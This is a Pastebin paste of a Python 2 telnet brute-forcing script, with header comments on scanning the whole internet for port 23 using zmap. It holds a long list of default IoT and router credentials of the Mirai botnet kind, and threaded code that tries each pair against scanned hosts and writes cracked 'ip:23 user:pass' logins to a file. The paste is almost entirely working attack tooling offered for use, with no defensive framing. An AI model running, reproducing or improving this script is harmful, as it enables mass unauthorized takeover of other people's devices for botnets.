KhaosBringer

TelnetBruter.py

May 13th, 2020
603
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.79 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Scan Telnet IP's
  3. # ulimit -n 999999
  4. # zmap -p23 -o mfutelnet.txt -N 250000
  5. # OR
  6. # zmap -p23 -o mfutelnet.txt -w telnet.lst
  7. # Then Brute Away!
  8. # python TelnetBrute.py mfutelnet.txt 15000 telnethax.txt
  9.  
  10. import threading
  11. import sys, os, re, time, socket
  12. from Queue import *
  13. from sys import stdout
  14.  
  15. if len(sys.argv) < 4:
  16.     print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  17.     sys.exit()
  18.  
  19. combo = [
  20.     "root:root",
  21.     "admin:admin",
  22.   "daemon:daemon",
  23.   "root:vizxv",
  24.   "root:pass",
  25.   "root:anko",
  26.     "root:",
  27.     "admin:",
  28.     "root:xc3511",
  29.   "default:",
  30.   "default:default",
  31.   "supervisor:zyad1234",
  32.   "root:5up",
  33.   "default:lJwpbo6",
  34.     "User:admin",
  35.     "guest:12345",
  36.   "guest:password",
  37.   "root:zlxx.",
  38.     "admin:1234",
  39.     "admin:12345",
  40.   "telnet:telnet",
  41.   "admin:1234567",
  42.     "admin:password",
  43.   "root:88888888",
  44.   "root:klv1234",
  45.   "root:Zte521",
  46.   "root:hi3518",
  47.   "root:jvbzd",
  48.   "root:7ujMko0vizxv",
  49.   "root:7ujMko0admin",
  50.   "root:ikwb",
  51.   "root:dreambox",
  52.   "root:user",
  53.   "root:realtek",
  54.   "root:00000000",
  55.   "admin:1111111",
  56.   "admin:54321",
  57.   "admin:123456",
  58.   "default:123456",
  59.   "default:S2fGqNFs",
  60. "default:OxhlwSG8",
  61. "default:antslq",
  62. "default:tlJwpbo6",
  63. "root:default",
  64. "default:pass",
  65. "default:12345",
  66. "default:password",
  67. "root:taZz@23495859",
  68. "root:20080826",
  69. "admin:7ujMko0admin",
  70. "root:gforge",
  71. "root:zsun1188",
  72. "admin:synnet",
  73. "root:t0talc0ntr0l4!",
  74. "guest:1111",
  75. "root:admin1234",
  76. "root:tl789",
  77. "admin:fliradmin",
  78. "root:12345678",
  79. "root:1234567890",
  80. "root:vertex25ektks123",
  81. "root:admin@mymifi",
  82.   "admin:7ujMko0admin",
  83.   "admin:pass",
  84.   "admin:meinsm",
  85.   "admin:admin1234",
  86.   "root:1111",
  87.   "admin:1111",
  88.   "root:666666",
  89.   "root:klv123",
  90.   "Administrator:admin",
  91.   "service:service",
  92.   "supervisor:supervisor",
  93.   "guest:12345",
  94.   "admin1:password",
  95.   "administrator:1234",
  96.   "666666:666666",
  97.   "888888:888888",
  98.   "tech:tech"
  99.   "admin:dvr2580222",
  100.   "ubnt:ubnt",
  101.   "user:12345",
  102.   "admin:aquario",
  103.   "root:zsun1188",
  104.   "default:lJwpbo6",
  105.     "guest:guest",
  106.     "user:user",
  107.     "root:Zte521",
  108.   "root:abc123",
  109.   "root:admin",
  110.   "root:xc3511",
  111.   "root:Serv4EMC",
  112.   "root:zsun1188",
  113.   "root:123456",
  114.     "default:OxhlwSG8",
  115.     "default:S2fGqNFs",
  116.   "admin:smcadmin"
  117.   "admin:adslnadam",
  118.     "sysadm:sysadm",
  119.     "support:support",
  120.     "root:default",
  121.     "root:password",
  122.     "adm:",
  123.     "bin:",
  124.     "daemon:",
  125.     "root:cat1029",
  126.     "admin:cat1029",
  127.     "admin:123456",
  128.     "root:antslq",
  129. ]
  130.  
  131. ips = open(sys.argv[1], "r").readlines()
  132. threads = int(sys.argv[2])
  133. output_file = sys.argv[3]
  134. queue = Queue()
  135. queue_count = 0
  136.  
  137. for ip in ips:
  138.     queue_count += 1
  139.     stdout.write("\r[%d] Coded By Xelj" % queue_count)
  140.     stdout.flush()
  141.     queue.put(ip)
  142. print "\n"
  143.  
  144.  
  145. class router(threading.Thread):
  146.     def __init__ (self, ip):
  147.         threading.Thread.__init__(self)
  148.         self.ip = str(ip).rstrip('\n')
  149.     def run(self):
  150.         username = ""
  151.         password = ""
  152.         for passwd in combo:
  153.             if ":n/a" in passwd:
  154.                 password=""
  155.             else:
  156.                 password=passwd.split(":")[1]
  157.             if "n/a:" in passwd:
  158.                 username=""
  159.             else:
  160.                 username=passwd.split(":")[0]
  161.             try:
  162.                 tn = socket.socket()
  163.                 tn.settimeout(8)
  164.                 tn.connect((self.ip,23))
  165.             except Exception:
  166.                 tn.close()
  167.                 break
  168.             try:
  169.                 hoho = ''
  170.                 hoho += readUntil(tn, "ogin:")
  171.                 if "ogin" in hoho:
  172.                     tn.send(username + "\n")
  173.                     time.sleep(0.09)
  174.             except Exception:
  175.                 tn.close()
  176.             try:
  177.                 hoho = ''
  178.                 hoho += readUntil(tn, "assword:")
  179.                 if "assword" in hoho:
  180.                     tn.send(password + "\n")
  181.                     time.sleep(0.8)
  182.                 else:
  183.                     pass
  184.             except Exception:
  185.                 tn.close()
  186.             try:
  187.                 prompt = ''
  188.                 prompt += tn.recv(40960)
  189.                 if ">" in prompt and "ONT" not in prompt:
  190.                     success = True
  191.                 elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  192.                     success = True             
  193.                 else:
  194.                     tn.close()
  195.                 if success == True:
  196.                     try:
  197.                         os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  198.                         print "\033[37m[\033[32m+\033[37m] \033[33mRoted \033[37m-> \033[32m%s\033[37m:\033[32m%s\033[37m:\033[33m%s\033[37m"%(username, password, self.ip)
  199.                         tn.close()
  200.                         break
  201.                     except:
  202.                         tn.close()
  203.                 else:
  204.                     tn.close()
  205.             except Exception:
  206.                 tn.close()
  207.  
  208. def readUntil(tn, string, timeout=8):
  209.     buf = ''
  210.     start_time = time.time()
  211.     while time.time() - start_time < timeout:
  212.         buf += tn.recv(1024)
  213.         time.sleep(0.01)
  214.         if string in buf: return buf
  215.     raise Exception('TIMEOUT!')
  216.  
  217. def worker():
  218.     try:
  219.         while True:
  220.             try:
  221.                 IP = queue.get()
  222.                 thread = router(IP)
  223.                 thread.start()
  224.                 queue.task_done()
  225.                 time.sleep(0.02)
  226.             except:
  227.                 pass
  228.     except:
  229.         pass
  230.  
  231. for l in xrange(threads):
  232.     try:
  233.         t = threading.Thread(target=worker)
  234.         t.start()
  235.     except:
  236.         pass
Add Comment
Please, Sign In to add comment